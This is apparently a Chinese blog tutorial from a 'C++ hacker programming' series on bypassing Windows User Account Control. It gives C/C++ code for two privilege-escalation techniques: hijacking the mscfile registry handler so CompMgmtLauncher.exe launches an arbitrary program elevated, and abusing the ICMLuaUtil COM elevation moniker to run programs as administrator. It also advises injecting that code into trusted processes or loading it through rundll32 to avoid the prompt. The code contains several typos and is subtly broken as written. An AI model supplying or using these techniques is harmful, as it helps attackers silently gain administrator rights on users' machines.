提权技术之Bypass UAC

// UAC(用户账户控制)是微软在Windows VISTA以后版本中引入的一种安全机制。通过UAC,应用程序和任务始终在非管理员权限下的安全上下文中运行。
// 除非特别授予管理员权限。UAC可以阻止未经授权的应用程序自动进行安装,并防止无意地更改系统设置。

// UAC需要授权的动作包括:配置Windows Update、增加或删除用户账户、更改用户账户的类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、
// 设置家长控制、将文件移动或复制到Program File或Windows目录、查看其它用户文件夹等。

// 触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC
// 接口传递给appinfo的RAiLuanchAdminProcess函数。该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证请求进程的签名以及发起者的
// 权限是否符合要求后,决定是否弹出UAC窗口让用户确认。这个UAC窗口会创建新的安全桌面,屏蔽之前的界面。同时这个UAC窗口进程是系统权限进程,其他普通进程无法
// 和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

// 目前实现Bypass UAC主要有两种方法:一种是利用白名单提权机制,另一种是利用COM组件接口技术。

// PS:基于白名单程序的Bypass UAC:

// 有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序。例如:slui.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等。
// 这些白名单程序可以通过DLL劫持、注入或者修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。

// PS:对于CompMgmtLauncher.exe程序来说,它是通过修改注册表来进行提权的:它会先读取注册表HKCU\Software\Classes\mscfile\shell\open\command中的数据。所以,如果你构造了
// 该注册路径,并写入启动程序的路径中,那么,CompMgmtLauncher.exe便会启动该程序。

// 步骤:1.打开注册表,将程序路径写入到 HKCY\Software\Classes\mscfile\shell\open\command\(Default) 2.运行CompMgmtLauncher.exe程序。

// 示例代码:
BOOL SetReg(char* lpszExePath)
{
    HEKY hKey = NULL;
    // 创建项
    ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
    if (NULL == hKey)
    {
        ShowError("RegCreateKeyEx");
        return FALSE;
    }

    // 设置键值
    ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));

    //关闭注册表
    ::RegCloseKey(hKey);

    return TRUE;
}

// PS:基于COM组件接口的Bypass UAC

// COM提升名称技术允许运行在UAC下的应用程序提升权限的方法来激活COM类,以提升COM接口权限。其中,ICMLuaUtil接口提供了ShellExec方法来执行命令,创建指定进程。

// 步骤:1.利用COM提升名称来对ICMLuaUtil接口提权 2.利用ShellExec方法创建指定进程,实现Bypass UAC操作。

// 示例代码:

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLISID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = {0};
    WCHAR wszMonikerName[MAX_PATH] = {0};
    HRESULT hr = 0;

    // 初始化COM环境
    ::CoInitialize(NULL);

    // 构造字符串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr)) 
    {
        return hr;
    }

    // 设置BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbSize = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    
    // 创建名称对象并获取COM对象
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);

    return hr;
}

// PS:执行上述代码后,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法来创建指定进程,完成Bypass UAC操作。

// 示例d代码:
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
    HRESULT hr = 0;
    CLSID clsidICMLuaUtil = {0};
    IID iidICMLuaUtil = {0};
    ICMLuasUtil* CMLuaUtil = NULL;
    BOOL bRet = FALSE;

    do {
        ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
        ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

        // 提权
        hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
        if (FAILED(hr))
        {
            break;
        }

        // 启动程序
        hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
        if (FAILED(hr))
        {
            break;
        }

        bRet = TRUE;
    } while(0);

    // 释放
    if (CMLuaUtil)
    {
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

    return bRet;
}

// PS:要注意的是,如果执行COM提升名称代码的程序身份是不可信的,则会触发UAC弹窗;若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在
// Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以,可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的
// 进程空间中。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。

// 其中,利用rundll32.exe调用自定义DLL中导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式:

// 导出函数给rundll32.dll调用执行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdline, int iCmdShow);

你可能感兴趣的:(C++黑客编程,windows)